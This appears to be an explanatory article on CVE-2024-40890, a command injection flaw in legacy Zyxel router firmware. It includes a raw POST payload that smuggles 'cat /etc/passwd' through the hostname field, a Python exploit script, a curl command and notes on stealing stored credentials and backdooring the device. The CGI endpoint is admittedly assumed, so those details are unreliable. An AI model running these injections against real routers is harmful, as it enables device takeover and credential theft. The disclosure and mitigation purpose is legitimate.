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Introduction

In June 2024, security researchers uncovered a serious vulnerability in the Zyxel VMG4325-B10A legacy Customer Premises Equipment (CPE), specifically in its outdated firmware version 1.00(AAFR.4)C_20170615. The flaw, now tracked as CVE-2024-40890, is a post-authentication command injection bug. It allows authenticated users to run arbitrary commands on the device using a crafted HTTP POST request to the device's web interface. This article takes a deep dive into CVE-2024-40890, demonstrating exploitation steps, implications, and possible mitigations.

The Vulnerability Explained

CVE-2024-40890 resides in one of the CGI programs used by the Zyxel device’s legacy web management interface. After successfully logging in, an attacker can leverage improper input sanitization in a CGI handler that processes HTTP POST requests. This classic web security bug allows operating system (OS) command execution with the privileges of the web server process (typically root in embedded devices).

> Important: Only authenticated users (with valid login credentials) can exploit this flaw.

1. Getting Ready

First, ensure you have valid login credentials for the device’s web interface. You usually access Zyxel’s management page by navigating to http://<router-ip>/ (commonly http://192.168.1.1/).

2. Analyzing the Attack Surface

The vulnerable CGI program accepts POST requests that fail to properly sanitize input fields. Let’s assume the CGI endpoint is /cgi-bin/vulnerable.cgi and it processes a field named hostname.

Vulnerable sample POST payload

POST /cgi-bin/vulnerable.cgi HTTP/1.1
Host: 192.168.1.1
Cookie: sessionid=YOURSESSIONCOOKIE
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

hostname=myrouter;cat+/etc/passwd;#&apply=Save

Here, the semi-colon (;) breaks out of the intended command context and appends a new command (cat /etc/passwd). The response will contain the output of the injected OS command.

Here’s a bare-bones requests-based Python 3 exploit for demonstration

import requests

# Target setup
router_url = "http://192.168.1.1/cgi-bin/vulnerable.cgi"
session_cookie = "YOURSESSIONCOOKIE" # Replace with your own

# Your injected command
cmd = "cat /etc/passwd"
payload = {
    "hostname": f"myrouter;{cmd};#",
    "apply": "Save"
}

headers = {
    "Cookie": f"sessionid={session_cookie}"
}

response = requests.post(router_url, data=payload, headers=headers)

print(response.text)

Note: Replace YOURSESSIONCOOKIE with a valid session cookie after logging in legitimately.

Dump configuration files (steal Wi-Fi passwords, PPPoE creds, etc.)

- Download / upload/ remove files (backdoor the router)

After authenticating with the device, you can test with curl

curl -k -X POST "http://192.168.1.1/cgi-bin/vulnerable.cgi" \
  -H "Cookie: sessionid=YOURSESSIONCOOKIE" \
  -d "hostname=router;cat+/etc/passwd;#&apply=Save"

If successful, the response will contain the contents of /etc/passwd.

Why Is This Dangerous?

- Inside Job: Only authenticated users can exploit, but many users never change the default credentials.
- Root Privilege: Many embedded Linux devices run web services as root, leading to full system compromise.

Patch Status & Mitigation

This Zyxel model and firmware are labeled UNSUPPORTED WHEN ASSIGNED, meaning no official patch is available. This is why using legacy hardware, especially in critical roles, is so risky.

Restrict access: Block the web interface from WAN, and limit LAN access to trusted hosts.

- Replace hardware: Migrate to supported, updated CPE/routers.

References

- NVD Entry for CVE-2024-40890 (Pending)
- Zyxel Security Advisory Center
- Exploit Database

Final Thoughts

CVE-2024-40890 is a textbook reminder why end-of-life network appliances can become huge risks to any environment. Exploitation is trivial for anyone with access and basic web scripting skills. The best advice: retire unsupported devices immediately or isolate them as much as possible!

Timeline

Published on: 02/04/2025 10:15:08 UTC
Last modified on: 02/12/2025 18:12:16 UTC